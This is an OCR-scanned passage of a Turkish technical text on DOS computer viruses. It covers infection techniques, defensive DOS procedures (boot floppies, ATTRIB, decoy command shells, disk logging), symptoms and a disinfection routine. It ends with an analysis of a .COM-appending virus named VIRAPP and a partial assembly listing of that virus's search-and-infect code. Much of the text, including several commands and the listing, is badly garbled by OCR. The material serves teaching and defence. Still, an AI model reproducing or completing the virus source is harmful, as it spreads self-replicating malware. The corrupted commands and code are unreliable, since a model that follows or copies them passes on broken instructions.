baska olasi zarar verici faaliyetlerine rehberlik ederek
denetimi ana programa devreder. [3]

Bunun yaninda yeniden yénlendirme ydntemi, disk
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alanindan tasarruf etme olanagini da beraberinde getirmek-
tedir; ginki viral kodun en biiylik blimil gcalisma sahasin-
dan uzakta bulunur (off-line). Bulasmaya saglayan kod bo-
liimleri uygun olarak kiicllk olduklarindan enfekte olan dos-
yalarin uzunlufunda belli belirsiz gisme meydana getire-
bilmektedir; eger dahil etme ydntemi kullanllmlssa dosya
6zgin uzunlugunu listelik korumus olacaktir.

Yeniden ytnlendirme yonteminin icinde barindirdifi bir
dezavantaj, bulagma tespit edildiginde viral kod kisimlari-
nin kolayca silinebilmesidir. Bu durumda izlenecek yol,
merkezi viriisiin sakli oldugu lokasyonu tespit ederek o bol-
geyi temizlemektir. Bu hal ise iseci virlisleri etkisiz ki-
lacagindan enfeksiyonlarin yayilmasi engellenmis olacaktir,

9.4 Yerine koyma ytntemi

Yerine koyma ybntemini uygulayan viriisler gercekte ca-
ligtirilabilir dosyalari enfekte etmekten cok icinde  ba-
rindiklari sisteme bulasmaktadirlar. Bu tip viriisler ken-

dilerini hedef~ttosyalarin lizerine yazmaktadLrlar.{3]

Bulagmadan once:

TRCGRAM.EXE

Dosya boyu= 10240 bayt

Bulasmadan sonra:

VIRUS.EXE

Dosya boyu= viral kod boyu

Sekil 9.3 - Bir viriisiin kendisini bagka bir programin
yerine koyarak sebep oldugu enfeksiyon tiird.

Yerine koyma ydntemini uygulayan viriis cok kisa sii-
rede bircok dosyayi kullanilamaz hale getirmektedir. Ne
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var ki, bu sekilde bozucu faaliyetlerini isleyen viriisler,
baéarabildikleri ilk enfeksiyonlarindan sonra fark edile-
bileceklerdir. Fakat bunlar ilk calistirilmalarindan son-
ra dosyayl veya dosyalari tamamen bozduklari icin, her ne
kadar etkili bir sekilde temizlenseler bile biraktiklari
zarar eger bozulan dosyalarin yedekleri yoksa kalici ola-
caktir.

9,5 Viral kabuk yontemi

Cofu kez acilig kesimi virilsince harekete gegirilen
viral kabuk metodunu kullanan viriislerin 62ellik1erinden,
komut isleyicisi virlisii ve bellekte-yerlesik kalan viriis
de istifade edebilmektedir.[3]

Uygulamada viral kabuk, bilgisayarin biitiin normal is-
levlerini kusatmakta; kullanilma ihtimali az olan bir disk
bolgesine yerlesmis bir viriisiin. varligini ve lokasyonunu
ortaya cikaracak ya da boyle bir viriisiin hayatta kalmasim
tehlikeye sokacak faaliyetler zincirini dnleyerek maske-
lemekte; dizin listelemelerini bloke edip incelemekte ve
sonuc goriintiiyli dosyalara kilobaytlarca viriis eklenmis ol-
sa bile dosyalarin &zgiin uzunluklarini deéigtirmeksizin
yansitmaktadir., Bu yontemi kullanan viriis diger taraftan
acirlis kesimlerini, komut isleyicilerini ve giinliik dosya-
lari etiit etmek icin girisilen tesebbilsleri engelleyerek,
bu islemleri enfekte olmamis dosyalarinain kopyalarinin sake-
11 bulundugu farkli depolama lokasyonlarina yeniden yd6nlen-
dirmektedir. Bu suretle enfekte olmug dosyalari okumaya
veya baska tiirli analiz etmeye galisan viriis karsiti prog-
ramlar, bu girisimlerini viriislerin yadlendirdiéi gercekte
enfekte olmus dosyalarin temiz kopyalari iizerinde gercek-
lestirmis olmaktadirlar,



10. KARSITVIRUS TEKNIKLERI

Her geyden evvel sunu belirtmek gerekir ki bilgisayar
virlislerinin sinsi bozucu eylemlerinden bilgisayarlari e-
min kilmanin kesin yollari (heniiz) mevcut degildir. Bunun-
la birlikte kdtd huylu yazilim cikmazina coziim olarak ge-
tirilen en yaygin karsitviriis (antivirus) orogramlari, bil-
gisayar kullanicilarini rahatlatmaktan bir hayli uzaktir.[3]

Tesirli bir koruma dilizeyine ulagabilmek ic¢in, saldir-
ganlarin ilerledikleri yollarun lizerine ¢ok sayida engel
kurulmalidir. Bu engelleri hem kullanici hem de vbilgisa—
yar denetleyebilmelidir. Alinacak onlemlerin genis kapsam
11 olmasi bilgisayarin her tirlid kotd huylu programa karsi
etkin bir kalkan kurmasini saglayacaktir. Izlenecek boyle -
bir yol iyi bir karsitviriis yaziliminin esasi olmaladar,

Asagida siralanan taktik ve prosediirlere kendi ta-
sarladiklarinizi da katarak etkili bir savunma cizgisi ku-
rabilirsiniz. Kotil huylu programlara karsi alinacak ted-
birlerden herhangi birinin giinliik calismalariniza adapte
etmeniz durumunda, sisteminizin giivenlik diizeyi ylikselecek
ve olasi k8tii huylu bir programin saldirisini tnemli dere-
cede azaltmis olacaksiniz.

10.1 Sisteminizi bir floppy disk ile acin

Sabit disklerin yayginlagarak kullanilmaya baglanmasi
sonucu, bircok kullanici dogrudan sabit disklerini ise ko-
sarak sistemlerini hazir vaziyete getirmektedirler. Fakat
bu olguyu artik kot niyetli programcilar gtz oniinde bu~-
lundurarak kotii huylu programlarini gelistirdikleri icin,
sabit diskler koétil niyetli programcilarin vazgecemeyecekle-
ri bir hedefi haline gelmistir.{3] '
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K5ti huylu programlara karsi alinacak ilk tedbir Dbir
sistem disketi hazirlamak ve kullanmaktir. Sistemi acabi-
bilen disketler (bootable flopoy disks) kullanicinin daima
el defmemig, GZgﬁn-DOS sirimleri altinda calismasini ga-
ranti eder. Burada dikkat edilecek tek husus kullanilan
sistem disketlerinin yazma koruma yariklarinin ya da diig-
melerinin uygun pozisyona getirilmis olmasi gerektifidir.

Asagidaki adimlar bir sistem disketinin hazirlanisini
gostermektedir:

1. Bilgisayari kapatin. Biitiin floppy diskleri ci-
karin.

2. Bilgisayarin A: siiriiciisiine MS-D0S"un temiz bir
‘master kopyasini yerlestirin.

3. Bilgisayarin ekrandan tarih ve zamani istemesi
lizerine ya gecerli tarih ve zamani girin ya da
sadece ENTER tusuna basin.

4. Asagidaki komutu girin

FORMAT A:/S

ve ENTER tusuna basin. Bilgisayar A: siirticlisti-
ne yeni bir disket girmenizi isteyecektir.

5. A: siiriiclisiinden DOS’un master kopyasini cikarip
emin bir yerde saklayin. Silirliciiye yeni, hic
kullanilmamig formatsiz bir disket yerlestirin.

6. ENTER tusuna basin. Bilgisayar formatsiz dis-
keti sistem disketine donistiirecektir. Sistem
disketi olusturulduktan sonra bu tiUr disket o~
lusturmaya bilgisayarin "Format another?" ile-
tisine karsilik ‘Y harfini girerek devam edebi-
lirsiniz.

7. Sistem disketin islemi tamamlandiktan sonra Iu
diskete AUTOEXEC.BAT ve CONTFIG.SYS dosyalarini
kopyalayin. Eger CONFIG.SYS dosyasinda 'DEVICE=
ifade' satirlari mevcutsa., sistem disketine 'ifa
de' ile belirtilen aygit siiriiclilerini kopyalama-
ya unutmayain.

8. Efer AUTOEXFC.BAT dosyasi 'SET COMSPEC=ifade
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satiri icermiyorsa, komut isleyicisinin lokas-
yonunu tespit eden bir COMSPEC(COMMAND SPEFI-
CATION) satirini ekleyin. Pu ifade bircok sis-
temlerde

SET CCMSPEC=C :\ COMMAND.COM

seklindedir ve yeterlidir. Ancak daha da iyi-
si COMSPEC’i A: siiriiciisiine ayarlamakt.ir,

SET COMSPEC=A:\ COMMAND.COM

ve yazma-korumalli (write protect) sistem dis-
ketini A: siiriiciisliniin icersinde silirekli bulun-
durmaktir. Bu diizen, sistemin komut isleyici-
sine erigimi gerektigi zaman, COMMAND.COM’un
temiz olarak ve olasi bir virlis enfeksiyonuna
meydan vermeden tekrar yiiklenmesini saglar.

8. Bu sekilde olusturulan acilis disketlerin yaz-
ma korumalli olmasina dikkat edin.

Bilgisayarinizi her zaman bu sekilde olugturulmus sis-
tem disketleriyle acmayi ihmal etmeyiniz.

10.2 Viriisleri ortaya cikaran yazilimlar kullanin

Virlislere raslandiktan sonra onlari ortaya cikarmanin
ve sistemden yalitmanin tek pratik yolu, calisma sahasin-
dan uzak tutulan viriisleri ortaya cikaran yazilimlar ( vi-
rus detection software) kullanmaktir.[3]

Bu tiir yazilimlarin diizenli bir sekilde kullanilmasi
muhtemel bir viriis enfeksiyonunu erken bir safhada tespit
edilmesini saglayacak ve dolayisiyla yapacaklari zararlari
da bir en aza indirgenmis olacaktair.

10.3 Dosya niteliklerini degistirin
Salt-okunur niteligi set edilmis dosyalar deéigtirile—

memektedir, bu ylizden bbyle dosyalarin lizerine herhangi bir
yazma operasyonu gerceklestirilemez. Yetersiz derecede
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tasarlanan viriisler bu duruma getirilmis dosyalarin salt-
okunur nitelik bit’ini modifiye edecek yetenekte degildir.
Fakat iyi tasarimlanan viriisler bu bit’i reset ederek he-
def dosyaya bulasir ve sonra tekrar nitelik bit"ini  eski
konumuna getirmektedir. Dosya niteliklerini deéigtirmek

kullanicilarin uygulayabilecekleri engellerden biridir. (3]

DOS’un son siirlimleri bu islemi ATTRIB komutuyla ger-
ceklestirmektedir. Asagidaki Srnek biitiin .COM ve .EXE dos-
yalarini salt-okunur hale getirir:

ATTRIB +R .COM/S
ATTRIB +R .EXE/S

10.4 Komut isleyicisi tuzaklari kullanin

CONFIG.SYS dosyalarinin icinde kullanilan, DOS’un go-
ze carpan Ozelliklerinden biri olan SHELL komutu cogu kez
gozardi edilmektedir. SHELL komutu, DOS’un belirlenmis bir
Ust-diizey komut igleyicisinin calistirilmasina sebep olur.
Eger CONFIG.SYS’de bir SHELL komut isleyicisi Belirtilmemig-
se, DOS normal kabugu yani COMMAND.COM’u yiikler.[3]

Tecriibeli kullanicilar DOS SHELL komutunu COMMAND.COM’a
yeniden bir isim vermek ve bu kabufun standart konumu olan
ana dizinden alip bagka bir dizine konumlandirmak icin kul-
lanmaktadir. Kullanicilar bundan sonra ana dizine varsayi-
lan kabmfun yani COMMAND.COM‘un farkli bir kopyasini yer-
legtirebilirler. Bu, viriisleri gercek komut isleyicisine
bulasmak yerine bunun yerine kullanilan tuzak komut isleyi-
cisine bulasmayi saglayabilir.

Asagidaki adimlar bdyle bir tuzak komut isleyicisini
olusturmaya ytneliktir:

1. Asafidaki komutu CONFIG.SYS’e son satir olarak
ekleyin:

SHELL={d{ [path] filename.ext /F:1024/P
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Burada [(d:) disk siirliclistiniin harfi, (path) tuzak
komut isleyicisinin sakla bulundugu alt dizine
ybnlendiren yol ismi ve filename.ext de tuzak
dosya(larin)nin ad(lar)i. Sozgelimi tuzak dos-
yanin adi FIZZFIZZ.EXE ise ve C?\PLO#\PLOP alt
dizininde yer aliyorsa, SHELL komutunun dogru
dizimi asagidaki gibi olur

SHELTL=C :\ PLOP\DPT.CP\FIZ%AF T /7% . BxF/R: 1024 /P
2. Asagidaki komutu AUTOEXEC.BAT dosyasina yazin:
SET COMSPEC=[d:] [path]filename.ext

Buradaki [d:][path]filename.ext ifadesi SHEML
komutunda yer alan ifadeyle cakismalidir.

3. COMMAND.COM’u tuzak dosyanin adina ve lokasyo-
nuna yeniden ayarlamak icin CCPY komutunu kul-
lanin,

COPY\COMMAND.COM [d:]| [path] filename.ext

burada COMMAND.COM’dan sonra gelen ifade SHELL
komutuyla belirlenen siiriicli, yol ve dosya adi-
dir. Yukardaki drnek g&z Oniinde tutularak bu
islem asagidaki gibi yazilabilir

COPY\COMMAND. C¥\ PLOP\ PT,0P\ FIZZFI%% . EXE

Aciklanan adimlar uygulandiktan sonra, uyarlan-
m1s sistem COMMAND.COM un gecerli bir kopyasi
altinda, tekrardan isimlendirilmis olarak ve
belki farkli bir lokasyondan calisiyor olacak-
dir.

10.5 Uygulama dosyalarini tuzak olarak kullanin

.COM dosyalarini .EXE dosyalarina, .EXE dosyalarini
da .COM dosyalarina herhangi zararli bir yan etkisi olma-
dan cevirmek miumkiindiir. Bu Snemsiz gibi goziiken tedbir da-
hi bilgisayar virilislerini sasirtabilir; clinkil virisler bu-
lasacaklari dosyalarin formatlarini bilmek zorundalar, zi-
ra her calistirilabilir dosya tipine farkli bulasma yodnte-
mi uygulanmaktadir. .COM dosyasina bulasmak icin izlenen
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yot bir .EXE dosyasinda gecgerliligini kaybetmektedir.[3]

Kullanicilar, caligtirilabilir kod barindiran her di-
zinde asaéxdaki komutlari girerek, biitiin orogram dosyala-
rinin dosya uzantilarini tehlikesizce karsilaikli olarak
degigtirebilirler:

REN «,COM w»,KOM
REN «.EXE x.COM
REN x .KOM x.EXE

Bu komutlar biitiin calistirilabilir dosyalarin uzanti-
larini tersine cevirmektedir. Elbette bilgisayar viriisle-
ri hedefledikleri dosyalara bulasmadan evvel onlari iki
kez gizden gecirecek yetenektedirler; bdylelikle bu hos hi
lenin farkina varabileceklerdir. Fakat bircok bilgisayar
viriisii, hepsi olmasa bile dosya uzantilarini kendilerine
rehber alirlar. Bu sebeple dosya uzantilarini birbiriyle
degis tokug etmek bircok virlisi yolundan saptiracaktar.

Burada dikkat edilmesi gereken bir nokta vardir. Dos-
yalarin uzantilari bu sekilde deéig'tokus yanildiktan son-
ra, bu dosyalar igsletilerek kontrol edilmelldir, Bdyle bir
yol izlenerek deéigtirilen bazi dosyalar Snemli olmayan ha-
ta iletileri liretmektedirler. Bu takdirde dosya uzantila-
rinin Szglin adlari tekrar iade ediimelidir.

10.6 Sistemi tekrar baslangic konumuna getirin

Diskin acilis kesimlerinde gizlenen viriisleri elimine
etmenin emin bir yolu igletim sistemini baslangic konumuna
getirmek yani yeniden yiiklemektir. Sistem tekrar yilklen-
digi zaman acilis kesimleri DOS niivenin taze bir kooya-
siyla tekrar yazilmis olacagindan buralarda barinan viriis-
ler de yok edilmis olacaktir. Bu islemi diizenli araliklar-
la tekrarlamak gerekir.[3]

Asagidaki adimlar bu orosediire ytneliktir:
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1. Bilgisayari kapatin. Biitiin disketleri cika-
rin ve 60 saniye bekleyin.

2. Bilgisayarin A: siiriiclisline MS-DCS’un master
kopyasinin yer aldigi yazma-korumali bir dis-
ket yerlegtirin. Bilgisayari acin.

3. Bilgisayarin tarih ve zaman bilgilerini isteme-
si lizerine ENTER tusuna basin.

4. Asagidaki komutu girin

SYS [ d:)
[dd, igletim sisteminin yiiklenecegi ya da giin-
cellenecegi siiriicidir. Sonra ENTFR tusuna ba-
sin. Bir miiddet sonra "System transferred" i-
letisi alinacaktair.

5. COPY COMMAND.COM [d:]
komutunu girin, .Burada[d:]sﬁrﬁcﬂsu sistemin
yiiklenmesi istenilen siiriiciidiir. Bir miiddet son-
ra "1 file(s) copied" mesaji goriintiilenir.

6. DOS’un masﬁer kopyasini siiriiciiden c¢cikarin ve
gilvenilir bir yerde tutun.

10.7 Uygulama dosyalarini yeniden kurun

Sistem dosyalarinin sisteme yeniden yiiklenmesi ve boy-
lece buradaki dosyalarin glincellenmesi viriisleri nasil 8l-
diriyorsa, uygulama programlarinin diizenli olarak sisteme
yeniden kurulmasi (reinstall) viriisleri ayna sekilde yok e-
decektir. Tabiidir ki yeniden kurulacak uygulama program-
larinin bulundugu disket temiz, viriissiiz ve yazma-korumali
olmak zorundadir.[3]

10.8 Sabit diskinizi yeniden formatlayin

Bircok virils kisimlarinin az veya goéunu "kotU" ya da
"kullanilamaz" sgeklinde markalanmis disk kesimlerinde giz-
lemektedir. Bilgisayar isletim sistemleri bdyle kesimlere
ne yazacak ne de bdyle kesimlerden okuma yapacaktir, u
yiizden burada barinan viriisler cok iyi korunmus olacaklar-
dir.
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Alcak dlzeyli formatlama blitiin disk ylizeyini temizle-
yerek bu arada yanlis olarak etiketlenen "k&tuU" kesimleri
(vad sectors) bertaraf ettiginden viriisler de silinir. Cin-
kii alcak diizeyli formatlama prosediirii esnasinda disk ze-
rinde silindir ve kesim adresleri tespit edilir; kasitli o-

‘larak isaretlenmis k&tii kesimler bu sirada mutlaka siline-
cektir.

Ne var ki alcak diizeyli formatlama tecriibesiz kullani-
cilarin listesinden gelebilecefi bir is degildir., I1k ola-
rak yedeklemeler (backups) yapilmali; sonra sabit diske al-
cak diizeyli formatlama islemi uygulanmalidir. Fakat bu
prosediir bir standatrt altinda yapilmamaktadir. Qoéu kez
satici firma alcak diizeyli formatlamayi gerceklestirmekte-
dir. Bunun yaninda bircok yardimci programlar alcak dii-
zeYli formatlamayi yapmaktadir. Bu sebeple kesin bir yol
géstermek miimkiin deéil@ir. Alcak diizeyli formatlama isle-
minden hemen sonra DOS FDISK programi isletilmelidir. Ni-
hayet DCS FORMAT komutu kullanilarak bir yliksek diizeyli for-
matlama islemi gerceklestirmelidir.

10.9 Yilklenen programlari ve diske erisim zamanlarini
gozleyin

Programlarin yliklenmesi icin gerekli zaman tetkik e-
dilmelidir. Enfekte olmus dosyalar arkalarindan viral ko-
du birlikte tasidiklarindan bu dosyalarin bellege aktaril-
masl daha uzun siirecektir. Gerektifinden uzuﬁ milddet har-
cayan programlar enfekte olma olasiligi yﬁksektir.[3]

Bunun yanisira disk erisimlerini dikkatle incelenmeli-
dir. Bu arada diske erisme islemi sirasinda &n penelde ya-
nan lambanin yanig siiresi de gozden kacirilmamalidir, Vi-
rilsler dizinleri ve calistirilabilir dosyalari enfekte o-
lup olmadiklarina dair incelemeler yavarken dikkat cekebi-
lecek bir zaman siliresine gereksinim duymaktadirlar.

10.10 Kullanilabilir bos disk alanlarinin bir kaydini tutun
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. Bazl enerjik viriisler sistem boyunca yayilirken dos-
yalara bulasarak onlarin boylarini uzatmaktadir. Bu hal
depolama alaninin aleyhine isler, dolayisiyla bir azalma
gbosterir, Bu aktivite cok siki denetlemeler sonncu ortaya
cikaralabilir. Asafidaki satirlart AUTOFRXEC.BAT dosyasina
ekleyerek, disk alanuinin kullaniminin siirekli olarak izle-
mek miimkiin olur (Ancak bilgisayar acilmadan yazici bilgisa-
yara baglanmalidir).[3]

cp\
DIR 77 DIR.LOG
TYPE DIR.LOG > PRN

Bu komutlar bilgisayarin aktif diskinin ana dizininin ice-
riginin bir kaydini olusturmasini ve bunu D[R.[OG dosyasi-
nin sonuna eklemesini emretmektedir. DIR.LOG bundan sonra
yazicidan kagida basilir.

Bir dizindeki son satir genellikle bos alan miktariny
bayt cinsinden vermektedir. Bu sekilde karsilikli olarak
incelenen cikti dosyalarinda herhangi sebebsiz bir disk a-
lani agalmasi saptanabilir.

10.11 Kotl kesimlerin bir kaydini tutun

Bir onceki maddede acaiklananlara benzer olarak kot
kesimlerin artisini da silirekli bir sekilde izlemek miimkiin-
diir. Baz. virilsler viral parcalarini ve diger buna Dbagly
verilerini "kotl" seklinde isaretlenen kesimlerde gizledik-
lerini biliyoruz. Bu sebeple kdtii kesimlerin adedinde vu-
ku bulacak ani bir artis viriis aktivitesinin iyi bir gds-
tergesi niteligindedir.[3]

Asagidaki komutlar AUTCEXEC.BAT dosyasina eklendigi
zaman kot kesimlerin biliylimesi izlenebilir. Ancak DOS’un
sagladigl CHKDSK programi varsayilan aktif siiriiciide ya da
PATH (yol) ile belirlenen bir dizinde sakli bulunmalidir:
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co\
CHKDSK y» CHKDSK.T.0G
TYPE CHKDSK.".0G > PRN

Bu komutlar, bilgisayarin aktif diskinin ana dizini-
nin iceriginin bir kaydini olugturmasini ve bunu CHXDSK.
T.0G adli dosyanin sonuna eklemesini emretmektedir.CHKDSK.
L0OG bunun ilizerine yazicidan kagida basiliir.

CHKDSK'in tipik bir ¢iktisinin bir kismi asagidaki
gibidir. CHKDSK raporu, kotil kesimlerin 4096 bayt yer is-
gal ettiZini bildirmektedir.

Volume MOTHERBCARD created 12-5-1989 7:06 p
Volume Serial Number is 3414-1ACB

42661888 bytes total disk space
75776 bytes in 4 hidden files
55296 Dbytes in 22 directories

21037056 ©bytes in 683 user files

4096 Dbytes in bad sectors
21489664 Dbytes available on disk

¥oti kesimlerin boyu olan 4096 bayt normal olarak de-
éigmemelidir; ancak sabit diskin asinmasi sonucu ara sira
kot kesimler ortaya cikiverir. Fakat koti kesimlerin bir-
den bﬁyﬁk sayilarda meydana gelmesi, viral bir faaliyetin
olasilifina isaret edebilir.



11. TESHIS VE TEDAVILER

AgaéLda verilen listede bilgisayar viriisleri bir bil-

gisayara girdikten sonra sebep olduklari yaygin belirtiler

siralanmaktadir: (3]

a)
b)
c)

d)

e)

g)

h)

i)
3)
k)

1)

Bilgisayarin calisma hizinda bir aZirlasma go-
riliir.

Programlar yliklenirken daha fazla zamana ihti-
yac duyarlar.

Programlar, daha onceleri hic olmadigi halde bir-
den fazla disk siiriiclisiine erisgir.

Beklenmedik anlarda programlar diske erisim is-
lemini Ongdrir veya bu islem artan bir siklikta
yapilir, . , ,
Kullanilabilir disk alana siiratli bir’biqimde~a
zalar.

Kotii kesimlerin sayisi durmadan artar.
Kullanilabilir RAM miktar. aniden ya da slirekli
olarak azalir. (DOS kullanicilari CHKDSK veya
MEM komutunu kullanarak RAM’in kullanilisini iz-
leyebilir)., . :
Bellek haritalari (memory maps), (DOS 4.0"in MEM
komutu gibi) kaynagi bilinmeyen TSR’leri acifa
cikarmaktadair,

Normal olarak galisan programlar anormal islem-
ler sergiler ya da sebebsiz yere kirilar.

Daha dnce karsilasmadiklari yerlerde programlar
hata ile karsi karsiya kalarlar.

Programlar belgelenmemis hata iletileri lretir-
ler.

Gorinilse gdre tehlikesiz, gilildliiriicii "muzip" ni-
telikte programlar beliriverir. f{rnegin ekran-
da muamma olarak kara delikler, ziplayan toplar
giilen ylizler veya "yaémur geklinde yagan"harfler
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goriiniir,

m) Dosyalar esrarli bir gekilde kaybolur.

n) Dosyalarin yerine kaynagi bilinmeyen bagka ob-
jeler gecer veya bu dosyalar anlasilmaz veri-
lerle doldurulur.

0) Kullanicilar tarafindan deéistirilmediéi halde
dosyalarin adlari, uzantilari, tarihleri veya
verileri degisir.

p) Kaynagi bilinmeyen veri dosyalari ve dizinler
belirir,

r) CHECKUP veya basgka viriis ortaya cikaran yazi-
limlar statik (duragan) obje dosyalarinda degi-
siklikler saptar.

11.1 Sisteme viriis bulastiginda neler yapilmali

Sisteme bir viriisiin girdigi teshis edilir ve dogrula-
nir dogrulanmaz derhal karsi savunmaya gecilmelidir. ¥ar-
si atagi savsaklamak veya geciktirmek virlislerin yayilmasi-
na ve bulasmaya elverisli her yere sarkmasina neden olur.

11.1.1 Cerrahi yaklasim

Asagidaki adimlar bir viriisiin bulunmasindan hemen son-
ra sirayl gdzeterek uygulandigi takdirde, sistem, viriis en-
feksiyonundan bliyilk bir olasilikla temizlenecektir.[3]

1. Bilgisayari kapatip 60 saniye bekleyin.

2. Sabit olmayan biitiln depolama birimlerini cika~-
rin.

3. Video monitdri ve klavye diginda biitiin dig bag-
lantilari (yazicilar, modemler vS.) ayirin.

4. Bitin depolama ortamlarini yazma-korumali hale
getirin. Standart 5.25-inclik esnek disklerin
yazma korumasi yarigini bir band ile kapatin.
Standart 3.5-inclik esnek disklerin yazma koru-
masi diigmesini "acik" pozisyonuna getirerek
yazma korumali yapin.

5. A: siiriiclisiine DOS’un temiz, viriissiiz bir kopya
sinl bulunduran bir disketi yerlestirin.
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10.

11.

12.
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Bilgisayar, acilis prosediirlerini tamamladik-

tan sonra (tarih ve zaman iletisini verdifi an)
lizerinde temizleme yapilacak diske gecin, Bili-
tin dizinlerdeki tim calistirilabilir dosyala-
ri (.COM, .EXE ve .SYS) silin.

Sayet bazi dosyalar silinemez nitelikte ice
bunlarin salt-oku niteligini DOS"un ATTRIB ko-
mutuyla kaldirin, Asagidaki komut C: siiriicii
siinde sakli bulunan bilitiin dosyalarin salt-oku
niteligini kaldirmaktadir:

ATTRIB -R C: /S

Bilgisayari kapatip 6C saniye bekleyin.

A: siiriiciisiine DS’ un temiz bir kopyasini yer-
legtirin ve bilgisayari acin.

Bilgisayar acilis iglemlerini tamamladiktan
sonra (tekrar zaman ve tarih iletisini goriinti
ledigi an), asagidaki komutu girin:

SYs [d:]
COPY COMMAND.COM {d:}

[d:]burada temizlenen siirlicliniin harfidir.

SYS ve COPY komutlarl yardimiyla sistem dosya-
lari tekrar kurulduktan sonra, biitiin uygulama
programlarini teker teker, yazma korumali ana
disklerden, temizlenmis diske tusilayarak akta-
rin.

Ek bir gilivenlik tnlemi olarak biitiin dis depo-
lama birimlerini tekrar formatlayin

Uyari: Temizleme islemi sirasinda yazma koru-
mali olmayan ve IBMBIC.COM, IBMDOS.COM ve COM-
MAND.COM dosyalarini ihtiva eden diskleri bil-
gisayara yerlestirmeyin. DOS’un master kopya-
lari olmayan biitlin depolama birimlerini yok
edin.

Temizlenen diske uygulama programlarin kurgu-
sunu gerceklestirdikten sonra, A: siirliciisiin-
den DOS’un master kopyasini iceren disketi ci-
karin.
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13, Bilgisayari kapatin. 60 saniye bekleyin ve
sonra yeniden acain.

14, Sistemi daha once hic kullanilmamis yeni bhir
depolama birimine yedekleyin. Yedeklenecek ve-
rileri eski yedeklenmis disklere ya da teyple-
re aktarmayin.

15. Biltiin port-baglantili cevresel aygitlari tek-
rar yerine baglayin.

16. Efer bilgisayar viriisleri tekrar ortaya cika-
cak olurlarsa, disketleri yeniden formatlamak
ya da sabit diskleri alcak dlizeyli formatlama
prosediiriinden gecirmekten baska bir alternatif
kalmaz, Bircok sabit disk denetleyici kartla-
ri ROM’larinda alcak diizeyli formatlamayi ger-
ceklestiren program kodlari icermektedirler;
bu kod b&liimlerine DOS’un DEBUG programl vasi-
tasiyla erismek miimkiin olduéu kadar, sabit dié(‘
ireticisinden saglanan bir programla bu islem
vyerine getirilehilmektedir.

Yukardaki asamalar bize dnemli olan hususun, bozucu
faaliyetlerde bulunmadan viral kodlari temizlemek ve ger-
cekte hedef diskten biitin g¢alistirilabilir dosyalari izale
edip bunlarin yerine temiz olduklarindan siiphe edilmeyen
kopyalarini koymak olduéunu gbostermektedir. Teknik nlarak
sbylemek gerekirse, kullanici verilerini silmek ve onlarin
yerine temiz kopyalarini koymak gibi bir szorunluluk yoktur;
cinki viriisler calistirilamayan veri dosyalarinda gelise-
memektedir. Evet, viral veriler kullanici veri dosyalarin-
da depolanabilir, fakat bu verilere tekrar erigebilmek i-
cin, viriisiin kendisini yiiklemesi ve bulagmé saglanmis dos-
yaylL igletmesi gerekmektedir- ki burada sozii edilen dosya
veya dosyalar yukarda aciklanan temizleme prosediiriinde yok
edilmesi amaclanan dosyalardir.

Bu sekilde biitlin caligtirilabilir dosyalari "ortadan
kaldirma" ve onlari temizleriyle defis tokus etme  islemi
viral kodlari etkili bir sekilde elimine etmektedir. 8YS
komutu acilis kesimlerini glincellerken bu kesimlere yeni
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bastan gerekli bilgileri yazmaktadir. Dolayisiyla bu asa-
malar gerqeklegtirildiéinde direncli olarak vasiflanabile-
cek acilis kesimi bulasicilari bile bilitiiniiyle yok edilmek-
tedir. Bununla birlikte belki de en ©nemli nokta, kulla-
nici verilerin bu arada zarar gdrmemis olarak kalmalaridar.
Ancak virids aktivitesinden zarar rsren veri . dosyalar: dii-
zeltilmeli ya da yerine temizleri konmalidir. Bu sebeple
viris enfeksiyonu erken bir safhada ©6nlenebilirse, bu tiir
zararlar en aza indirgenmis olacaktir.[3]



12. YORUM

VIRAPP.ASM program adi ile verilen virus, basit virus
teknifi ile yazilmig bir virus yazilimidir.

VIRAPP, ekleme (appending) yontemini uygulayarak ken-
disini bagka dosyalara bulagtiriyor. S8z konusu virus sa-
dece .COM dosyalara bulasiyor; fakat bununla beraber DOS
isletim sisteminin default kabufu olan COMAND.COM 'u en-
fekte etmiyor.

VIRAPP iki b&liimden olusmakta. Ikinci bdliimde yer a-
lan Install kismi hemen hemen birinci b6liim ile O=zdes §ayk
labilir; tek fark adres ifadelerini iceren komutlardadair.

VIRAPP ilk kez aktive oldugunda, install kismi cali-
sarak aktif siiriici ve dizindeki ilk .CCM dosyanin sonuna
kendisini yapistiriyor. Bu sekilde hastalanmis program ya
da programlar caligtirildiklarinda, viriis alt siiriiclide te-
miz bir .COM dosya ariyor ve varsa kendisini bu dosyaya ek-
liyor.

VIRAPP sadece DOS ortaminda yayilabilmektedir. Diger
igsletim sistemlerinde yayilma sans. yoktur. Hatta 386 ta-
banli sistemlerde dahi VIRAPP'1 olusturan viral kod calis-
mayacaktir,
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Page 1

tseg segeent para public ’code’

assume cs:cseg,dsicseq

arg 100h

begin:

comfile db

Anfang label word

call entry

‘s.con’,0

avoidfile db *COMMAND.COM’

dtabuffer - db 21 dup(?)

entry

spread:

attr db ?
time dw 7
date dw ?
tsz] dw ?
fszh dw ?
filename db 13 dup (7

command db OeBh
dpl db ?
dph db ?

bfcall dw ?
dtaoffset dw 7
dtaseguent dw ?
signbuf dw ?
adjoffset db 7

proc near

xor si,si

pop si

cap 5i,0103h
inz spread

jap initvircode

push es

sav ah, 2fh

int 2th

mov [si+41h],bx
mov [si+43h],es
pop es

lea dy,(si+!1h]
mov ah, lah
int 2th

lea dy,{sil
agv cx,0
aov ah,4eh
int 2th
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8D 34 3F

01/01/80 00s30:11

findnext:

s DIKKAT! !

9

mov bx,si
lea si,{bx+4]

Page 2

lea di, Chx+2fh]
mov cx, il

repe cmpsb

apenh:

infect:

mov si,by
inz openh
mov ah,4¢h
int 21h

jnc openh
jmp mainprog

lea dx,[si+2fhl
mov ay,3d0Ch
int 21h

XOr cx,c2
dec cx

pov dxz,-40
sov bx,ax
mov ax, 4202h
int 21h

mav cx,2

lea dx,[si+45h]
aov ah,3fh

int 21h

mov ah,Jeh
int 2th

mov ax,[si+45h]

cap ax,word ptr [ieza+(si-103h)1
jnz infect

jop findnext

lea dx, [si+2fh]

eav ax,3d0Zh

int 2ih

lea dx, [5i+3fh]



99 01Ch
100 01C8
101 01CH
102 01CD
103

104 OICF
105 0182
106 01DS.
107 0107
108

109 0109
110 0108
111 01DE
112 O1EL
113 01E3
114

Turbo Asseshler Version 2.0

virapp.ASH

115 01Es
114 01€8
117 O1EA
118 01ED
119

120 O1EF
121 OIF3
122 0fF6
123 01F9
124 01FB
125

126 01FD
127 OIFF
128 0201
129 0204
130

131 0206
132 0209
133 020C
134

135 020
136 0211
137 0213
138 0214
139

140 0218
141 0218
142 021€
143 0220
144

145 0222
146 0224
147 0226

88 08
B9 003
B4 IF
(501 ] 3

80 54 ¥F
